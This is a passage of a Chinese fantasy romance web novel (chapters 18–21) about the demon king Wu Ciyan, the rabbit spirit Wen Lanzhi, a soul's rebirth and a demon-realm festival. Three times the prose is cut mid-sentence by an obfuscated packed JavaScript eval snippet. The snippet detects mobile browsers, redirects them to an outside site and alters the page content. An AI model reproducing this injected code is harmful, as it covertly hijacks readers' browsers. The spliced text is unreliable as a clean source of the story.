邬辞砚道:“那就好,没伤到骨头。应该是扭到了,回去擦点油。” 温兰枝问道:“你还有什么事?” 邬辞砚道:“我要去送时居一程。” 他挽起温兰枝的袖子,看到手腕处肿了一大片,又想到她刚才抬手挡剑的样子,道:“你真不会剑术?” 温兰枝连连摇头,“没人教过我。” 邬辞砚“哦”了一声,又道:“我有些事情想单独问问时居,你就别去了吧,好吗?我把你送到慕蓉那里去,你去睡一觉,我很快就回来。” 温兰枝道:“好。” 18. 18 温兰枝这一觉睡了好久好久,真是太困了。 醒来以后,发现头很疼,她敲了敲,还是很疼。 可能是还没睡醒,她倒在床上,继续睡,一直睡到头不疼了再说。 邬辞砚在刑场外面等了很久,等里面完全安静了,才进去,将时居的残魂收拾起来,直接到地府的转生殿。穿过前殿,跳过验身排号,径直走到最后一个关卡——转生桥。 走过去,就是凡间了。 他打开瓶子,一个缥缈的魂魄在瓶口晃荡了两下,钻出来。 她愣了好久,才看清眼前的景象。 邬辞砚道:“过了桥,就什么都不记得了。你还有什么愿望吗?可以告诉我。” 时居勉强笑了一下,道:“没有什么了,谢谢,谢谢。” 邬辞砚道:“你魂魄受损严重,投胎以后,身上会有残损,可能是个瞎子、瘸子,或者哑巴。如果你不想投胎的话,等我走了,你可以自己选择。但无论如何,我们以后都是陌路人。” 时居低头,整理了一下情绪,笑着仰起脸,道:“我想过了,把日子过成今天这副模样,也是我识人不清,是我太天真,像个白痴一样。我需要为我的行为付出代价,我知道,我没什么好抱怨的。还有一缕残魂,已经很好了,很好了。” 她擦不干净脸上的泪,也止不住嗓子里的哭腔,“过了这个桥,世界上就没有时居了。” 邬辞砚抽出手帕,是温兰枝之前给他的,已经洗干净了,他递上去,道:“只是换个名字而已,你还是你。魂魄会在转世的过程中慢慢修复,尽管很慢,但总会重新完整的,几百次转生过后,还是健健康康的你。还有,月华死了。” 她努力扮出笑颜,可还是扬不起嘴角,她道:“谢谢,谢谢。我走了,我不想再沉浸在悲伤里了,这一世,快点过完吧。我走了。” 她又道:“对了,帕子能不能送给我?我想让它,陪我过桥。” 邬辞砚道:“我觉得可以,这个帕子是温兰枝的,她很喜欢你,如果她知道自己的帕子能陪你过桥,她也会很高兴的。” “嗯,谢谢。”她用帕子擦干净泪水,“你们要过得好,你们一定要过得好。” 邬辞砚点头,道:“我们会过得好,你也会过得好。我还有个事情想问你。” 时居问道:“什么?” 邬辞砚道:“你恩人温兰枝,会不会使剑?” 时居愣了一下,道:“会啊。” 邬辞砚道:“好,谢谢,我知道了,你走吧。” 他看着她过了桥,消失在彼岸,确定不会再有什么变故,这才离开。 他到慕蓉宫的时候,已经是清晨了,温兰枝还没醒。 她中间醒来过一次,跑到慕蓉床边,嚷嚷着外面在打雷,害怕,非要和慕蓉一起睡,慕蓉没办法,就分了她一半床和被子,帮她捂着耳朵,但没什么用,一直到雷刑结束,才又睡着。 慕蓉小声问道:“你要不要去睡一觉?” 邬辞砚道:“我十天半个月不睡都不成问题。” 慕蓉把手里的刺绣放在桌子上,道:“时居怎么样?” 邬辞砚拿起她的刺绣看了看,道:“还能怎么样,过了桥投胎呗,好歹是保住了魂魄。其实我还担心,你说人家会不会不想活着,我多管闲事。” “分人吧。”慕蓉叹了口气,“有的人躺在金堆里,都恨不得马上就死去,有的人就算每天只有一口馒头吃,也想活着。有人执念浅,有人执念深。我也不知道你这是行善事还是做恶事,但既然已经做了,剩下的,就让她自己选吧。” 邬辞砚道:“你这个帕子还没绣完?我上次就看你在绣这个。” 慕蓉抢过来,道:“我这叫精雕细琢。” 她说着又开始绣,“主要吧,我也不是天天有差事,没事的时候,打发打发时间嘛。与其绣那么多浪费布料,还不如做点精细活,节省材料,还能精进技艺。天上的男神仙对这些东西不屑一顾,我觉得还挺好玩的,可能因为,我是女子吧。” “诶——这还真不一定。”邬辞砚往后一靠,拿了个苹果啃,“这东西,男的就算想玩,也不敢承认,怕被嘲笑,实在想玩呢,就自己偷偷买,藏在家里偷偷玩,多可怜。” 慕蓉被他逗笑了,“他们只会跟你说,绝对不会有男人喜欢刺绣的。” 邬辞砚道:“诶,那他们挺狭隘的,世上的男人这么多,他们只能看到眼前的一亩三分地。” 邬辞砚突然坐起来,道:“既然你没什么事,要不再帮我个忙?” 慕蓉挑眉,道:“你又想干什么?” 邬辞砚道:“你们天上有没有那种能恢复神识的东西?最好能把记忆都找回来。” 慕蓉意味深长地“哦”了一声,道:“那我知道你要干嘛了。” 邬辞砚道:“我是觉得,我们之前很有可能认识,既然参不透锦玉的用法,如果能让她恢复记忆的话,也可以找回之前的执念。” 慕蓉泼了一盆冷水,“很遗憾,没有。神识这种东西,时间长了还能自己长回来,但是神识里面的记忆,没了就是没了。你的记忆,还有时居的记忆,都是被过于强悍的法术遮盖,所以可以通过法宝刺激出来,但枝枝的记忆,已经跟着神识一起,灰飞烟灭了,完全找不回来。” 邬辞砚叹了口气,他也知道像温兰枝这种情况,补全神识是有可能的,但是找回记忆完全没可能,但还是不死心,想问一问。 万一他们曾经有个什么海誓山盟七世情缘什么的,只有他一个人想起来了,那多无趣。 搞不好人家小兔子就是看他好看才跟他玩两天,过几天找到更好看的人,就找别人报恩去了。 一张飞书飘飘然落下,邬辞砚接住。 慕蓉问道:“谁?鹉老十?” 邬辞砚道:“兰兰。问我还在不在凡间,在的话她想吃馄饨,让我给她带。” “她醒了?”慕蓉探头往里面看去,没有看到一蹦一跳的小兔子,“正赖床着的吧?” 邬辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098282|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚起身,道:“行了,我去给她买馄饨。” “你亲自去啊——”慕蓉的语气颇耐人寻味。 邬辞砚摊摊手,道:“我弄坏了人家一条帕子,顺便再去买一条赔给她咯。” 邬辞砚刚走没多久,温兰枝就出来了,“慕蓉姐姐!我让邬辞砚回来的时候给我带馄饨,你吃不吃?要不要让他给你也带一份?” 慕蓉把刺绣收起来,道:“哎呀,我平时使唤他都使唤不动呢,还是我们枝枝厉害。那你叫他给我带一份儿吧,我也想吃。” “好!”温兰枝又抽出来一张飞书,跑回去写了。 慕蓉柔声喊道:“枝枝啊,我让人去给你买了几件新衣裳,你试试能不能穿,你们今天就要回妖界皇城了,我给你装了点钱,你好好拿着,别弄丢了。” “好!谢谢慕蓉姐姐。” 凡间不止有一个国家,也不止有一个皇帝,所以不止有一个皇城。 妖界不止有一个妖王,山黑和时居都可以算是妖王,分大小罢了,但是皇城却只有一个。 因为“皇”这个字,就是这个城的名字,邬辞砚之前不住这儿的时候,这也叫皇城,跟蒲城柳城岳城没什么区别。为什么取了这个名字呢?据说是因为,之前也有一个妖王在这里定居,那个妖王给这个城起名叫皇城,但是,后来那个妖王死了,城名没改,就一直这么叫了。 邬辞砚在这儿定居,是因为这里有现成的妖王宫殿可以住,虽然有点旧,翻修一下也能用。 皇城的妖怪们都说,他们的假皇城变真皇城了。 温兰枝听鹉十二说话正听得起劲,突然被揽住肩膀,往街道的另一边去了。 邬辞砚道:“咱们回来得正是时候,明天是妖界庆典,有很多好玩的。” “哇噻!”温兰枝开心地靠过去,和他额头碰额头,“妖界庆典?前几年庆典的时候,我们都要在酒楼里跳舞,只有跳完舞才可以出去。每次出去的时候,大家都回去睡觉了。” 邬辞砚道:“皇城的妖界庆典和你们那个地方还有点不一样,妖界庆典是妖界守护神的忌日,妖怪们会带着我的妖像去街上游荡整整三天,在走之前,要先到皇城来,由我亲手点亮妖像上的蜡烛,保佑妖界明年依旧太平。你们之前是不是只能看到花车,看不到点火啊?” 温兰枝兴奋得嘴巴都合不拢了,“那我今年能看到点火了?你能不能给我找一个好一点的位置,我想站在前面!” 邬辞砚啧一声,敲了一下她的脑袋,道:“光看有什么好玩的!你就不想和我一起站到高台上,点亮蜡烛吗?” 温兰枝心口一震,在那么多妖怪面前,在万众瞩目的台子上,和邬辞砚握着同一个火把,点燃一根蜡烛。 所有的人都能看到她和邬辞砚站在一起。 她高兴得当即把头埋在邬辞砚怀里,两个长耳朵冒出来,在他胸口蹭啊蹭啊蹭。 邬辞砚捏了一下她的耳尖,软软的,再捏一下,还是软软的。 好摸,他很喜欢。 19. 19 皇城的人都很热情,温兰枝感觉,比之前酒楼那里的妖怪热情多了。 一路上,她收了好些礼物,新鲜的葡萄、桃子,还有一个超级大的西瓜,敲一敲,响呱呱,一听就是好瓜。 她一路抱着,邬辞砚好几次想帮忙,都被她拒绝了。 进了宫,几个小妖怪围上来,围得她都走不动道,西瓜一直往下沉,差点掉地上。两个没眼色的鹦鹉飞过来,一个落在瓜上,一个落在肩膀上,被邬辞砚赶走了。 一个有着大脑袋的妖怪凑过来,道:“嘿嘿,夫人把这个瓜给我吧,咱们宫里有一口井,瓜扔进去,过几个时辰再取出来,冰冰凉凉的,可好吃了。” “好呀好呀。”温兰枝把瓜递给他,他用脑袋顶着,大摇大摆地走了。 温兰枝抱完了西瓜,又把邬辞砚手里的篮子抢过来,继续抱在怀里。 邬辞砚挑眉,她是不抱个东西心里不踏实吗? 她看周围的妖怪都眨巴着眼睛看着她,突然反应过来,“哦!你们是不是想吃啊?随便拿!” “真的啊?谢谢夫人。” “夫人真好,那我拿一个。” “其实我们就是第一次见夫人,想多看看。” “就是,夫人真好。” 众人说着一人一个桃子开始拿,看篮子里的桃子就剩一半了,连忙收手。 那个鹦鹉又飞回来了,停在了温兰枝的篮子上,道:“夫人叫什么啊?” 另外几个鹦鹉看邬辞砚没赶,都飞过来了,在温兰枝头上肩上篮子里,围了一圈,都快停不下了。 温兰枝道:“我叫温兰枝。” 鹦鹉七嘴八舌地道:“一听就是好名字。” “真好听,和公子很搭。” “听起来像兰花。” “很香。” 一群妖怪一圈圈地往进挤,都快把邬辞砚挤出包围圈了,簇拥着温兰枝往宫里走。 “夫人你想住哪个宫殿啊?我给你收拾。”小妖怪道。 “咳咳!”邬辞砚很大声地咳嗽了一声。 小妖怪们愣了一下,连忙让开一个位置给他。 邬辞砚揽上温兰枝的肩膀,道:“她跟我住,你们没有事情做吗?平时不是挺忙的吗?” “哦哦哦,有事的有事的,我还有衣服没洗呢,夫人再见,公子再见。” “好的好的,走了走了。” 众妖怪一哄而散,头上的鹦鹉也飞走了。 邬辞砚翻了个白眼,道:“我平时不太回来,宫里也没什么规矩。你要是觉得他们不好,就让他们走开。” “挺好挺好。”温兰枝头一次被那么多人的笑脸包围,她想起来了琴夕姐姐,琴夕姐姐每次跳完舞也是被这样簇拥着,她之前一直羡慕,今天突然体验到了这种感觉,居然有点害羞,好不适应。 但蛮喜欢的。 邬辞砚感觉自己这句话真是多余,他低下头,看温兰枝快埋进篮子里的脸,别说脸了,连脖子都是红的,明显一副很受用的样子。 他凑到温兰枝耳边,坏笑道:“兰兰的名字真好听。” “嗯……嘿嘿……”温兰枝快憋不住笑容了,她把篮子往邬辞砚怀里一塞,快步跑起来。 邬辞砚看着她的背影,喊道:“诶!你知道咱们住哪吗你就跑,诶!诶!兰兰!温兰枝!”他看叫不住,也迈开步子跑着追上去,和她并肩,给她指挥,道:“左转左转,对,前面路口右转。” “你别摔了。”他提醒道,“别跑得那么乱,来,跟着我的节奏,左脚、右脚、左脚、右脚,对,这样不容易摔。” 温兰枝跟上他的指挥,突然就忘了是因为什么在跑,只知道跑得好累。 终于跑到住所了,温兰枝已经累得上气不接下气,差点栽在台阶上了。她实在是走不动了,就算只剩下最后五阶台阶,她也爬不动了。 “那好吧。”邬辞砚拽着她的衣领,把她拎了进去。 这个方法是真好,拽衣领,一方面防止过于亲密,被人误会,一方面温兰枝是真喜欢这样双脚离地被人拎来拎去的。 他把温兰枝放到床上,道:“你要不再睡会儿,或者在屋里玩会儿,我还有点事要处理,晚上回来。” 温兰枝还在喘气,根本没有多余的嘴去回答他的话,这宫里太大了,用双脚真是不行,怪不得邬辞砚养了这么多鹦鹉,还是长翅膀好。 她喘着喘着就趴下去了。 邬辞砚把篮子给她放到手边能够到的地方,走了。 邬辞砚房间的布置,和温兰枝想象的完全不一样,她还以为邬辞砚寝宫的布置,会金碧辉煌,就像他本人一样招摇。实际上,他寝宫里并没有几件金灿灿的东西,甚至可以说得上是简朴,几乎没有什么摆设,好像只要能睡觉就可以了。 看上去好无聊啊。 她没什么事干,干脆变成兔子,跳到篮子里,吃葡萄。 吃饱了就睡,睡醒了继续吃。 等得时间太长,有点生气了,就踹一脚桃子,桃子砸下来,压住了她的腿,她又踹一脚,把桃子踹出篮子,掉到床上。舒坦了。 终于,实在是吃不动了,也睡不着了,外边的太阳也落山了,她从篮子里爬出来,打了个哈欠,又从桌子上拿了个苹果啃,也不知道什么时候放在这儿的。 刚啃了一口,邬辞砚就进来了。 他做出一副很夸张的神情,慌张道:“你怎么!你怎么!怎么怎么……” 温兰枝疑惑地歪头,咽下了嘴里的苹果。 邬辞砚“哎呀”一声,道:“这可是毒苹果,我放在炼丹炉里,被毒药足足熏陶了七七四十九天,才炼成了这么一颗苹果!我专门用来毒老鼠的。”他手舞足蹈,差点笑出声来。 温兰枝怔住,手里的苹果掉在地上。 邬辞砚上前,给她把脉,“毒气入体,唉——” 他用力地叹了两口气,背过身去,努力憋笑。 温兰枝听罢,眼泪不受控地流出来,痛哭道:“呜呜呜呜呜啊啊啊啊啊,我不想死呜呜呜呜……我不想死……呜呜呜呜!” 察觉到自己的玩笑有些过分,邬辞砚连忙上前,蹲下来,道:“错了错了错了,我胡说的,我说着玩的。” 温兰枝一愣,随后一巴掌打在他胸口。 邬辞砚“哎呀”一声,站起来,要向前走,继续哄她。 结果她又是一巴掌打过来,离得有些远,没打到,邬辞砚主动伸出手,用手掌接住了她第二巴掌,然后又“哎呀”了一声。 温兰枝打一下,他哎呀一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105491|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 打一下,“哎呀!”打一下,“哎呀!”打一下,“哎呀!” 温兰枝两个手一起上,左一下,右一下,邬辞砚两个手掌心一起接。 “哎呀哎呀哎呀哎呀哎呀呀呀呀呀呀呀呀——” 好像那个拨浪鼓,打一下响一下。 温兰枝没忍住笑出了声,停手了。 “你看我手都红了,不生气了吧?”邬辞砚伸出两个手给她看。 温兰枝也伸出两个手给他看,“我两个手也红了!” 邬辞砚道:“我的更红。” 温兰枝道:“明明我的更红。” 邬辞砚的手将她的手覆盖,轻轻揉着,“好好好,你细皮嫩肉,你最红!” 邬辞砚拉住她的手腕,道:“我给你准备了东西赔罪。” “赔罪?”温兰枝疑惑道。 邬辞砚道:“你给我的帕子,我弄丢了。” 温兰枝撇撇嘴,“那个帕子我用了好久了。” 邬辞砚道:“那你看看我的礼物,再决定生不生气,好不好?” 温兰枝道:“好吧。” 邬辞砚拉着她走出去,从小妖怪手里接过纸灯,递到温兰枝手上。 行吧,她挺喜欢放这个会飞的纸灯的,以前还以为是用法术让它飞起来的,被酒楼的姐姐嘲笑了一番才知道,原来这个是凡间来的东西啊。 她看着纸灯笑了一下。 邬辞砚道:“许个愿。许愿你会有一条更好看的帕子。” “谁会许这个愿啊。”温兰枝轻轻推了他一下。 邬辞砚道:“那你想许什么愿?” 温兰枝捂嘴笑了一下,“才不告诉你。” 邬辞砚道:“好,那我帮你拿着,你许愿,许好了放吧。” “你也要许。”温兰枝道。 “我?”邬辞砚暂时还想不到什么愿望,“那……我希望你能有一条更好看的帕子?” 温兰枝一顿,气得跺了下脚,“你不准许这个愿望。” 邬辞砚哭笑不得,“这么跋扈?我的愿望也要管。” 他看温兰枝气得不行,连忙道:“好好好,我换一个换一个。” “什么?”温兰枝问道。 邬辞砚道:“那哪能告诉你,说出来就不灵了。” 两个人闭上眼睛,邬辞砚终于想到要什么了,在心中振振有词。 许完以后,睁开眼睛,看到温兰枝已经睁开了,道:“好了,放吧。” 温兰枝道:“我知道你许了什么愿望。” “什么?”邬辞砚问道。 温兰枝道:“肯定是要找回执念。” 邬辞砚转了下眼珠,道:“不对。” 温兰枝道:“为什么不许这个愿望?” 邬辞砚道:“因为我有新的执念了。” 温兰枝问道:“什么?” 邬辞砚道:“秘密。” 温兰枝“哦”了一声,放完了灯,准备转身回寝宫。 邬辞砚拉住她,“诶——你也太小瞧我了,就一个灯怎么能做赔礼呢?” 温兰枝疑惑道:“嗯?” 邬辞砚揽住她的腰,把她捞过来,“等着就知道了。” 远方天空,炸开一声响。 20. 20 烟火炸开,点亮一片天空,火光散开的一刻,隐藏在黑暗中的云层突然现身了。 此时,温兰枝才看明白。邬辞砚给她的赔礼,不止是将整个黑夜染上彩色的烟火,而是隐藏在黑暗之中,被一瞬间照亮的兔子云。 云层刚刚出现的时候,温兰枝还以为自己看错了,她满心期待地等着烟火再次升空,万箭齐发,无数火球冲向天空,变成一朵朵燃烧的花朵,在生命的最后一刻,为她照亮了那片云朵。 “哇哇哇哇!”她拉着邬辞砚的胳膊,激动得蹦起来,“好漂亮的兔子云,我看到她的耳朵、鼻子,还有嘴巴啦!” 邬辞砚得意地仰起头,“我专门上去摆的。” “好厉害!”温兰枝的目光从天上移开,看着他被烟火照亮的面庞,也是五彩缤纷的。 邬辞砚看着她,脸上的笑容渐渐收敛,“其实,我把你的帕子给时居了。她说想让那个帕子陪她过转生桥,我跟她说,温兰枝应该很愿意。” 温兰枝“哦”一声,“她对我那么好,我当然会答应!” 邬辞砚松了口气,道:“我以为,你会觉得我不重视你的帕子,随随便便就给人了。” “怎么会!”温兰枝喊道,“时居是你的朋友,也是我的朋友。再说了,明明弄丢了显得更不重视好吗?” “不过。”她顿了一下,“你今天做这些,就是因为一条帕子吗?” 邬辞砚回正脑袋,道:“当然了,我看着像有求于人的样子吗?” 温兰枝咬了下嘴唇,不说话了。 邬辞砚从袖子里掏出一条帕子,递到温兰枝面前,“给,我挑了好久。” 温兰枝接过,塞在袖子里,“我不会弄丢的。” “好。”邬辞砚接话道。 最后一炮烟花升空,响亮地收了个尾,云朵已经被风吹得乱七八糟了,天也蒙蒙亮了。 温兰枝打了个哈欠。 邬辞砚道:“走,去睡觉,晚上要给妖像点火。” 温兰枝前两天太累了,这两天觉特别多,刚躺下,就一觉睡过去了。 黄昏时分,她侧着身,一睁眼,看到桌子上放着两个红色的托盘。她吓一跳,以为是一盘子血,定睛一看,什么啊!是两身衣服。 转过头,旁边架子上还挂着两套红色的华服,上面缀着漂亮的珍珠宝石,亮晶晶的,腰间挂着宝玉流苏。她起身,上前,轻轻抚摸。 邬辞砚走进来,“醒了啊,换衣服吧。” “要穿成这样吗?”温兰枝问道。 邬辞砚轻笑一声,道:“不然呢?穿着寝衣去点火吗?” 门外的妖怪把脑袋探进来,道:“夫人别介意,来不及做新衣裳了,幸好每年妖界庆典的华服都会做两身,留一身备用,所以就把备用衣裳改了一下给夫人的,是男装改的,可能有点大。明年一定给夫人做一身!” 她脑袋能探得好远,像蛇一样,把温兰枝吓了一跳。 温兰枝拍拍胸脯,缓了下心情,笑嘻嘻道:“没事啊!我很喜欢!” 在上台点蜡烛之前,还有一件很重要的事情——祭祀神灵。 温兰枝不理解,“祭祀神明?妖怪们不是都很讨厌神仙的吗?为什么要祭拜?” 邬辞砚道:“这个祭拜嘛,当然不是祭拜妖界守护神,是拜慕蓉。” “慕蓉姐姐!”温兰枝两个耳朵竖起来,平时她的耳朵都是收起来的,但是刚才给她打扮的两个妖怪说,今天这个发型适合把耳朵露出来,好看的。 邬辞砚抓了一下她的耳朵尖,又摸了一下她耳朵周围的花环,道:“对啊,慕蓉作为神仙,不好来参加这种庆典的,她父母也不赞成,不希望她和神仙结仇。不过她平时经常来,她第一次来的时候,给我扛了一车桃树,飞来的时候掉了一路花瓣,妖怪们很喜欢,所以她之后每次出现都下花瓣雨了,妖怪们都盼着她来。” “哇!”温兰枝真想一辈子都待在皇城,妖王脚下,果然比她之前住的地方好玩多了,“我肯定很虔诚地拜,给慕蓉姐姐多磕头。” “那倒不用。”邬辞砚从抽屉里拿出两沓飞书,“慕蓉在庆典之前写了很多祝福语,好几百张吧,我们负责坐在后面,来一个照着念一个,念完烧掉。祝福大部分都会生效的,但是名额有限,所以大家都争着抢着,念完就没有了。” 温兰枝问道:“慕蓉姐姐也是神仙,她不会觉得我们的庆典很胡闹吗?” 邬辞砚把一沓飞书递到她怀里,道:“当然不会啦,天庭也有仙界庆典。再说了,我们不是为了庆祝神仙死了,是为了庆祝妖界活了。至于为什么守护神死了我们才能活,这是神仙需要反思的事情。” 两个人穿着华服,施了隐身咒,坐在神像后边。 其实这个隐身咒大可不必,大家都知道后面坐着邬辞砚,但为了逼真嘛。 庙门打开,温兰枝踮着脚尖往出看,外面排着好长的队,都排到天阶下面了。 头一个进来的,是一个有着狗耳朵的男妖,他跪下,拜三拜,他仰起头,两个眼睛红肿得不成样子,他道:“慕蓉上神,求您救救我母亲,我母亲病重在家,我提前三个晚上在这里排队,就是为了能治好她,我实在没办法了啊!求求您、求求您!” 邬辞砚在那一沓飞书里挑了挑,念道:“百病全消,无灾无难。”言罢,将飞书在一旁的蜡烛上点燃,飞书闪了下金光,化为灰烬。 “谢谢!谢谢!谢谢慕蓉上神!谢谢邬公子!”那妖怪激动得又磕了三个响头,被后面的人催促后离开了。 再进来的这个人温兰枝认识,这不是鹉十二吗?他也来求神啊。 温兰枝还真好奇,他会求什么呢,平时经常见到慕蓉,怎么不当面求? 他没有进来,而是冲着身后的妖怪挥挥手,大着肚子的妇人走进来,脸上带着喜色,她拈起香,对着慕蓉的神像拜三拜,熟练的样子,标准的动作,看着好像演练过好多次。 温兰枝手上拿的那个正好适合她,神庙内响起她清脆的声音:“顺利生产,母子平安!” 那妇人愣了一下,连忙磕头,说了好几个谢谢。 后面的妖怪炸开了锅,议论的话一声不差地传进了温兰枝耳朵。 “今年怎么还有女声?” “哎呀,夫人前天那么大阵仗进皇城,你没看见啊?” “我天天在家里我怎么知道啊,夫人什么样子?” “可漂亮了!我昨天专门堵到宫门口去看的,被公子赶走了。” “夫人,公子,听着就般配。” 邬辞砚拍了一下温兰枝的肩,指了一下下面那个姑娘。 “哦!”温兰枝回过神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115228|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,“飞黄腾达,步步登高。” 人群中传出几声笑,有人道:“哈哈,夫人害羞了。” “害羞了害羞了!” 温兰枝抿了下嘴唇,开始好好念飞书。 所有的祝福烧完以后,已经晚上了,要开始游街了,两个人坐着花车,从神庙一路到点火台。 期间,温兰枝一直开着马车的窗,往外面瞧,街市上人来人往,熙熙攘攘,花团簇拥,五彩缤纷,她道:“为什么路上这么多卖花的?” 邬辞砚道:“妖界传统,男女相好要送花,今天可是表白的好时机,当然有人趁机发财了。” “哇!那个是……”温兰枝看到白旭上神正高举着妖界的钱币,往人堆里挤,刚要打声招呼,白旭上神也看到她了,连忙做出噤声的手势。 温兰枝转过头来,捂着嘴,小声说道:“我看到白旭上神了!” 邬辞砚双手环抱,道:“妖界庆典这天,各种奇珍异草都能在街上看到,好多妖怪找到珍贵花草都攒着,专门等到这一天高价卖呢,像白旭上神这么喜欢花草的神仙,当然不会错过了。不过他可不敢让别的神仙知道,你要是喊出来,他天界好神仙的形象就崩了。” 温兰枝问道:“那他为什么不化形呢?” 邬辞砚道:“我的地盘,当然不让神仙使用法术了,除了慕蓉,所有来这里的神仙都会被限制法力。” “那这么看来,白旭上神的花草比形象重要多了。”温兰枝嘿嘿笑道。 两个人站到高台上,装着邬辞砚妖像的马车正徐徐而来,马车停下,调转了个方向,妖像很高,比邬辞砚还高出许多。 温兰枝盯着看了一会儿,别说,妖怪们胡闹归胡闹,在雕刻邬辞砚这件事情上绝不马虎,几乎是一模一样,栩栩如生,感觉快要活过来了。她目光下移,看到邬辞砚怀里正在舔耳朵的兔子,突然红了脸。 旁边的小妖怪还解释,道:“夫人今年来得匆忙,实在是来不及雕像了,只能雕了只兔子,明年一定!明年给夫人雕两个,把今年的补上!嘿嘿嘿……” 温兰枝也嘿嘿两声,道:“没事没事,很好看的。” 妖怪递上火把,邬辞砚接过,他看了一眼呆呆愣愣只知道傻笑的温兰枝,道:“拿着啊夫人,别笑了。” “哦哦哦。”温兰枝连忙上前,和他一起拿着。 两人点亮了蜡烛,夜里虽然漆黑,但一路的街灯,一点不暗,一根蜡烛的光亮微不足道,却让妖群爆发出一阵又一阵的欢呼声,像浪潮一样,层层后推,延绵不绝。 温兰枝看着那根蜡烛,笑了一下。她小声问道:“为什么是蜡烛呢?为什么不是一盏漂亮的花灯?” 邬辞砚也小声回答她:“我也问过这个问题,妖怪们说,因为昂贵又精致的花灯不是所有妖怪都买得起的,但所有妖怪都需要用蜡烛,我救了所有妖怪,所以是蜡烛,不是花灯。” 两个人嘀嘀咕咕了一会儿,一个妖怪走上前来,递上一封卷轴,“公子,我们有一个礼物要给你!” “什么?”邬辞砚接过,展开。 卷轴上画着一个奇形怪状的东西,但邬辞砚一眼就认出来了,“芩青果!” 那个让他找了三百年的东西,让慕蓉重新位列仙班的东西。 也是可以让温兰枝恢复神志的东西。 21. 21 邬辞砚仔细问道:“是哪里来的?” 递卷轴的小妖嘿嘿笑着,道:“公子整日在外面,有所不知,皇城都传开了,芩青果现身北方熙熙湖,许多妖怪都去取了,想取来献给公子,但我等实在是能力有限,取不到啊。” 旁边的妖怪补充道:“不止我们去了,凡间好多修仙道人也去了,但都命丧熙熙湖了。” 芩青果从没有固定的出现地点,也没有固定的生长环境,是所有仙草里最来去无踪的一种,也没有什么难摘的,只要能碰到就能摘,碰不到就没办法,纯看运气。之前还有好多凡人误食的案例,不过没有道行的凡人吃了以后不懂调息,无法吸收,也是死路一条。 如今,芩青果大张旗鼓地现身,又说难摘,莫非有诈? 不过也有可能是生长的地方太刁钻,大部分人过去连果子的身都近不得。 今天是个好日子,邬辞砚不想声张,将卷轴收起来,道:“多谢。” 鼓声响起来,台子下面一片群魔乱舞。 温兰枝被感染到,也手舞足蹈,又跳又笑。 邬辞砚抓着她袖子的一角,防止她闭着眼睛跳舞的时候摔下去。 一个冰冰凉凉的东西递到温兰枝手上,温兰枝睁开眼,是酒杯,邬辞砚也有一杯。 “去年怎么没有敬酒流程?”邬辞砚问道。 倒酒的小妖怪笑道:“是为了庆祝夫人来了,新加的流程。” 几个大酒缸被搬到路两边,妖怪们争先恐后地去盛酒。 邬辞砚静静等着,等所有人都有酒了,举杯,众人遥遥相碰,他侧过身,主动碰了下温兰枝的酒杯,一饮而尽。 旁边拿着酒壶的妖怪又给两人倒了一杯,“今天月色好,再饮一杯吧。” 邬辞砚没有推辞,温兰枝更是欢快,她还挺喜欢这个酒的,甜甜的。 他抬头,看向天上的圆月,今天的月亮确实漂亮,平时匆匆忙忙的,也很少停下来看看。 他举杯,道:“那,举杯邀明月。” 这句温兰枝知道! 她连忙举杯,快答道:“低头思故乡!” 妖群中安静了一瞬,随后爆发出一阵又一阵欢快的笑声。 他们也举起空空的酒杯,你一声我一声地跟着喊“低头思故乡”。 温兰枝懵懵地看着欢笑的众妖怪,疑惑地看向邬辞砚。 邬辞砚和她碰了下杯,道:“低头思故乡。”一饮而尽。 喝完了酒,邬辞砚把酒杯放到一边,他准备下台回去了,看到台下有个小妖怪在努力地递着什么东西,他走过去,是一个花环。 他接过。 小妖怪道:“公子,我编了好久的。” “好看。”邬辞砚当即戴在头上,和他头上那个金色的冠很相衬。 小妖怪兴奋地捂嘴,冲邬辞砚挥手。 邬辞砚起身,转过头去,发现温兰枝已经跳下台了,和大家一起挤在那个酒缸周围,拿碗舀着喝,旁边还有妖怪喝彩,喝一口夸一句,温兰枝已经在团团的夸奖声中迷失自我了。 邬辞砚无语片刻,跳下去护在她周围,防止她被推到缸里去。 邬辞砚浅尝辄止,温兰枝酩酊大醉。 一直闹到夤夜,才有人陆陆续续地回去睡觉,但周围的妖怪还是层层叠叠,明日所有人休息,估计要闹到天大亮了。 邬辞砚看温兰枝脚下虚浮,拉住她的手腕儿,转身一跃,脱离了包围圈,往宫里去了。 温兰枝只感觉一阵天旋地转,就落在宫里的地面上了,宫里做活的妖怪这会儿也还在外面没回来,此刻的宫里异常安静。 